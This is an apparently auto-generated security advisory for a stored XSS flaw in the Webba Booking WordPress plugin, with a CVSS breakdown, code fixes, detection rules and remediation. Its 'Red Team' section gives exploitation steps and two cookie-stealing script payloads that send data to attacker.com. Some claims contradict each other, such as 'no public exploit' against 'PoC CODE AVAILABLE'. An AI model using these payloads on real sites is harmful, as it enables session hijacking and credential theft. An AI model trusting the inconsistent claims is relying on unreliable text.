CVE-2025-54729
Executive Summary
CVE-2025-54729 is a Stored Cross-Site Scripting (XSS) vulnerability in the Webba Booking WordPress plugin (webba-booking-lite) versions up to and including 6.0.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into booking forms or related pages. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx. The CVSS score of 5.9 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the XSS increases the risk of persistent compromise. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors embedding backdoors in unpatched installations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 5.9 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires authenticated user with contributor role or higher
- User Interaction: Required (UI:R) – victim must view the compromised page
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. The need for authentication reduces the attack surface, but stored XSS can lead to persistent compromise of admin sessions and data exfiltration.
Deep Dive & Mechanics
The vulnerability exists in the webba-booking-lite plugin, specifically in how it handles user input for booking form fields (e.g., customer name, notes, or custom fields). The plugin fails to sanitize or escape input before storing it in the database and later rendering it on the admin or frontend pages. An attacker with contributor-level access can inject JavaScript payloads into these fields. When an administrator views the booking list or edit page, the payload executes in the context of the admin’s session.
Root Cause: The plugin uses echo or print statements without proper escaping functions like esc_html() or wp_kses_post() when outputting stored data. This allows HTML and JavaScript to be rendered directly.
Attack Flow:
- Attacker logs in as a contributor or higher.
- Attacker creates or edits a booking entry, injecting a malicious script into a text field (e.g.,
<script>alert('XSS')</script>). - The plugin stores the unsanitized input in the WordPress database.
- An administrator navigates to the booking management page.
- The plugin retrieves and outputs the stored data without escaping.
- The script executes in the admin’s browser, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the site.
Vulnerable vs. Patched Code
Vulnerable Code (webba-booking-lite <= 6.0.5):
// In a template or admin page
echo '<div class="booking-name">' . $booking->customer_name . '</div>';
Patched Code (hypothetical fix):
// Properly escape output
echo '<div class="booking-name">' . esc_html( $booking->customer_name ) . '</div>';
The vulnerable code directly outputs user-supplied data without escaping. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with Webba Booking plugin <= 6.0.5
- Authenticated user with contributor role or higher
- Access to a booking form or admin booking management page
Exploitation Steps:
- Log in as a contributor.
- Navigate to the booking creation page (e.g.,
/wp-admin/admin.php?page=webba-booking). - In a text field (e.g., "Customer Name"), inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the booking.
- Wait for an administrator to view the booking list. The script will execute, sending the admin’s cookies to the attacker’s server.
Alternative Payload (Session Hijacking):
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual booking entries containing
<script>,onerror,onload, or other event handlers. - Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to booking endpoints.
- Review WordPress logs for suspicious user activity (e.g., contributors creating bookings with unusual content).
Hardening:
- Apply input validation and output escaping as a temporary measure using a custom plugin or theme functions.
- Restrict contributor roles from accessing sensitive booking fields if possible.
- Use Content Security Policy (CSP) headers to mitigate XSS impact (e.g.,
script-src 'self').
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown domains containing cookie data (e.g.,
GET /steal?cookie=...). - Unusual POST requests to
/wp-admin/admin-ajax.phpor booking endpoints with encoded JavaScript.
- Outbound HTTP requests to unknown domains containing cookie data (e.g.,
Host IOCs:
- Database entries in
wp_postsor custom booking tables containing<script>tags or event handlers. - Modified plugin files (check file integrity via checksums).
- Unexpected admin user creation or privilege escalation.
- Database entries in
Log IOCs:
- WordPress debug log entries showing unescaped output warnings.
- Web server logs with
%3Cscript%3Eor similar URL-encoded XSS patterns.
Detection Engineering
YARA Rule
rule CVE_2025_54729_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Webba Booking plugin database entries"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54729"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/is
condition:
$xss_payload or $event_handler
}
Sigma Rule
title: Stored XSS in Webba Booking Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Webba Booking plugin via POST requests
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=webba_booking'
sc-status: 200
cs-request-body|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of HTML in booking notes (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54729 Stored XSS in Webba Booking"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=webba_booking"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Apply a virtual patch using a WAF to block XSS payloads in booking fields.
- Audit user roles and remove contributor access if not needed.
Long-Term Fix:
- The vendor must release a patched version that properly escapes output using
esc_html(),esc_attr(), orwp_kses_post(). - Users should update to the latest version once available.
Workaround:
- Add the following code to the theme’s
functions.phpto sanitize booking fields on output (temporary):add_filter( 'webba_booking_output_customer_name', 'esc_html' );
Valters IT Signature This report was generated by Valters IT DevSecOps Intelligence. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.